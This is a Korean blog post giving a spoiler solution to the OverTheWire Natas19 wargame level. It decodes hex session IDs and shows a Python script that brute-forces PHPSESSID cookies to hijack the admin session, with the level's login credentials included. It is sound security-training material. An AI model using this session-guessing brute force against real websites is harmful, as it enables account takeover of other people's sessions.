메뉴 건너뛰기

노루발의 개인 게시판

This page uses mostly the same code as the previous level, but session IDs are no longer sequential...

세션 아이디가 숫자로 되어있지 않다는 뜻인가보다. 임의의 아이디로 로그인해서 세션 아이디가 어떻게 되어있나 보자:


PHPSSID=3138362d


...?

일단 임의의 16진수 값으로 세션 아이디가 생성되는 것 같다.

임의의 값들을 ID/PW에 때려넣으면서 세션 아이디가 어떻게 생성되는지 유추해보자.

원래의 값에 띄어쓰기는 없지만 분석의 용이함을 위해 넣었음


31 38 36 2d -> ID/PW 둘다 입력안함


35 34 36 2d 31 ID 1 / PW 입력안함

35 31 38 2d -> ID 입력안함 / PW 1

33 37 36 2d 31 -> ID 1 / PW:1


2d 31 부분이 되풀이되는 것을 볼 수 있다. 31은 문자 1의 ascii code의 hex 값이다.


36 31 33 2d 32 -> 2 /

31 31 31 2d -> / 2

35 34 33 2d 32 -> 2 / 2


2d + ID를 ascii코드로 변환한 값이 표시되고 있다.


31 36 32 2d 31 31 -> 11 /

35 37 37 2d -> / 11

36 30 38 2d 31 31 -> 11 / 11


Password는 session 값에 영향을 끼치지 않는 건가?


34 37 33 2d 61 64 6d 69 6e -> admin /

36 35 2d -> /  admin

32 30 37 2d 61 64 6d 69 6e -> admin / admin

31 31 2d 61 64 6d 69 6e -> admin / 1

32 37 37 2d 61 64 6d 69 6e -> admin / !@#$%^&*()

35 39 39 2d 61 64 6d 69 6e -> admin / qwertyuiop

34 31 36 2d 61 64 6d 69 6e -> admin / long password

34 33 35 2d 61 64 6d 69 6e -> admin / the quick brown fox jumps over the lazy dog


로그인해야 하는 admin 계정에 여러가지 password들을 대입하여 패턴을 유추해보았다.

31 31 2d 61 64 6d 69 6e -> 가장 짧은 password (1) 의 세션값

34 33 35 2d 61 64 6d 69 6e -> 가장 긴 password (the quick brown...) 의 세션값


2d 앞의 값들에서 자주 표시되는 30~39 사이의 코드는 문자 0~9의 ascii code의 hex값이다.

따라서 임의의 숫자 + 2d + 계정 이름의 ascii code의 hex값으로 세션 아이디가 구성됨을 알아낼 수 있었다.


아래의 Python 코드를 사용하여 순차적으로 탐색하자:


import requests

session = 0

while True:
    session = session + 1
    tmp = str(session).encode("utf8").hex()

    cookie = {'PHPSESSID': tmp + "2d61646d696e"}
    r = requests.post('http://natas19.natas.labs.overthewire.org/index.php', auth=('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs'), cookies = cookie)
    print("Trying session no: " + str(session) + ":" + tmp)
    if "You are an admin" in r.text:
        print("******** FOUND IT******** ")
        print(r.text)
        break

분류 :
망한거
조회 수 :
14
등록일 :
2020.03.13
00:14:05 (*.47.15.90)
엮인글 :
게시글 주소 :
https://hondoom.com/zbxe/index.php?mid=noru&document_srl=818128
파일 첨부

여기에 파일을 끌어 놓거나 파일 첨부 버튼을 클릭하세요.

파일 크기 제한 : 0MB (허용 확장자 : *.*)

0개 첨부 됨 ( / )
옵션 :
:
:
List of Articles
번호 제목 글쓴이 날짜 조회 수
34 망한거 (스포일러) Natas24 풀이 노루발 2020-03-19 48
33 망한거 (스포일러) Natas24 풀이 노루발 2020-03-17 19
32 망한거 (스포일러) Natas23 풀이 노루발 2020-03-13 16
31 망한거 (스포일러) Natas22 풀이 노루발 2020-03-13 10
30 망한거 (스포일러) Natas21 풀이 노루발 2020-03-13 13
29 망한거 (스포일러) Natas20 풀이 노루발 2020-03-13 16
» 망한거 (스포일러) Natas19 풀이 노루발 2020-03-13 14
27 망한거 (스포일러) Natas18 풀이 노루발 2020-03-12 9
26 망한거 (스포일러) Natas17 풀이 노루발 2020-03-12 16
25 망한거 (스포일러) Natas16 풀이 노루발 2020-03-12 18
24 망한거 (스포일러) Natas15 풀이 노루발 2020-03-11 21
23 망한거 (스포일러) Natas14 풀이 노루발 2020-03-10 12
22 망한거 (스포일러) Natas13 풀이 노루발 2020-03-10 7
21 망한거 (스포일러) Natas12 풀이 노루발 2020-03-08 15
20 망한거 (스포일러) Natas11 풀이 노루발 2020-03-07 19
19 망한거 (스포일러) Natas10 풀이 노루발 2020-03-07 13
18 망한거 (스포일러) Natas9 풀이 노루발 2020-03-06 11
17 망한거 (스포일러) Natas8 풀이 노루발 2020-03-06 8
16 망한거 (스포일러) Natas7 풀이 노루발 2020-03-06 10
15 망한거 (스포일러) Natas6 풀이 노루발 2020-03-06 9